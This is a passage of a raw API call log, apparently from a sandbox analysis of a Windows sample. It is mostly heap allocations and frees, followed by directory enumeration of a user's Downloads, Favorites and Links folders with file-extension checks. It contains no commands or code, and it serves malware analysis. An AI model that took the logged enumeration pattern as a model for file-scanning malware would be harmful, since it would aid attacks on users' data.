[0060.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ee0 [0060.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.223] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0060.223] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.223] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.223] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.223] PathFindFileNameW (pszPath="") returned="" [0060.223] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5ee0 | out: hHeap=0x670000) returned 1 [0060.224] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.224] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.224] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini") returned=".ini" [0060.224] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0060.224] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.224] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.224] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.224] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0060.224] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.224] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.224] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.224] PathFindFileNameW (pszPath="") returned="" [0060.224] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.225] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.225] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.225] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned=".ini" [0060.225] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0060.225] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0060.225] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0060.225] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0060.225] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0060.225] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.225] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.225] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.225] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0060.225] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.225] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.225] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.225] PathFindFileNameW (pszPath="") returned="" [0060.225] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.226] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.226] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.226] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned=".ini" [0060.226] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0060.226] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned=".lnk" [0060.226] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0060.226] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned=".lnk" [0060.226] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0060.226] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk") returned=".lnk" [0060.226] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0060.226] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.226] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.226] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.226] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0060.226] PathFindFileNameW 